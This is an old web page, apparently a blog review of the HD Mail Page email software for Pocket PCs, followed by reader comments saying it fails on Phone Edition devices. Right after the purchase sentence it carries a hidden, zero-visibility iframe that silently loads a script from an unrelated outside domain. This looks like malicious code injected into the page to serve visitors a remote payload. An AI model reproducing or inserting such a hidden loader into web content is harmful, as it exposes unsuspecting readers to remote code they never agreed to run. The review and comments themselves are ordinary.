HD Mail Page - Blackberry-like Email for Pocket PCs

<img src="images/software-hdmailpage.jpg" align="right">HandData, the makers of HD Mail Page, claims to provide Blackberry-like email functionality for Pocket PCs. In theory, this should work fine on Pocket PC Phone Edition devices, but I have not yet tried it.

Works with your standard Inbox email accounts
Can indicate email available by audio tone, LED flash, or popup message on the Pocket PC display
Can be configured to check multiple email accounts
Automatically powers the Pocket PC on and off to conserve power
Works over any standard connection

Download a trial, or buy HD Mail Page for $19.95 at HandData.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

This software is crap! if you use a PPCPE device do not install this, it's a waste of time. The software does not work, it fires up like it should but can not spawn a GPRS connection on the PPCPE. The install file just starts up activesync install but doesn't actually install the software, you still have to manually use a CAB file to install the software. Obviously, this was a half-hearted attempted and it failed!

I guess I should have know when I looked at the software's website...another piece of crap!

that's good to know. i won't bother trying - the description of how it worked looked suspect also.

The program that does accomplish this Blackberry capability well is Infosync's Symmetry Pro. It works off your corporate email account and allows you to receive and send email off your corporate email account using your PDA. The email recipients have no idea that the email came out of PDA and not through your corporate email. You even get an SMS notifying you of a new email - simulating the Blackberry's push technology. I've been using for close to a year and it works great - the only downside is the price. It's 12.99 a month or 99 a year if paid upfront - a little steep but not so bad compared to Blackberry's pricing.

Confirmed that it doesn't work on PPCPE

Works fine on my Ipaq 5455, but no go on the PPCPE. Bummer, this is the sort of thing I've been waiting a long time for.

Sorry guys

Sorry about that guys... as I said... in "theory" it should work on a PPCPE... I guess its WiFi only for this program... too bad.
